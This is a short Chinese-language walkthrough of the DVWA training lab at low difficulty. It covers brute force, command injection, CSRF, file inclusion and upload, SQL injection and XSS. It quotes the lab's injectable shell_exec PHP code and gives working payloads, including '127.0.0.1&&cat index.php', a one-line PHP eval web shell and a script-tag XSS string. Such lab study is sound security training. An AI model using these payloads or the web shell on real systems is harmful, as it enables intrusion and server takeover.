目录
搭建
使用docker搭建
docker search dvwa
docker pull xxx
docker run xxx
详细说一下搭建后的情况
低难度通关
搭建好后想先看一下源代码的,然后发现有这么多种php文件,应该是说的表示难度。
难度的选择在这里更改
brute force
查看low.php的源代码
发现没有任何的防御手段,我们直接用burp抓包,进行暴力破解
给password留上标记后我们导入字典开始破解
到最后就能知道密码是password
Command Injection
查看源代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
没有任何防护措施
我们直接可以利用构造与布尔值差不多的命令行来获取信息
例如|ls
利用或
来达到我们的目的
也可以利用&&
且
来达到目的
127.0.0.1&&cat index.php
CSRF
这里构造好url,用户打开url即可成功。
那么如何诱导用户点击呢?
用burp构造一个html文件诱导他点击
File Inclusion
通过文件包含漏洞,利用一下相对路径访问到phpinfo.php
File Upload
这里没有限制
我们直接写好一句话木马
<?php @eval($_POST['123']) ?>
上传上去
SQL Injection
我们直接 '
发现有报错注入
然后就可以开始用联合查询啥的了
但是结果是这样的
密码使用了md5加密
我们搜索md5转换,就能得到正确结果
SQL Injection (Blind)
盲注的话,采用时间盲注就行
XSS (Reflected)
直接采用
<script>alert('hacked')</script>
注入
XSS (Stored)
同上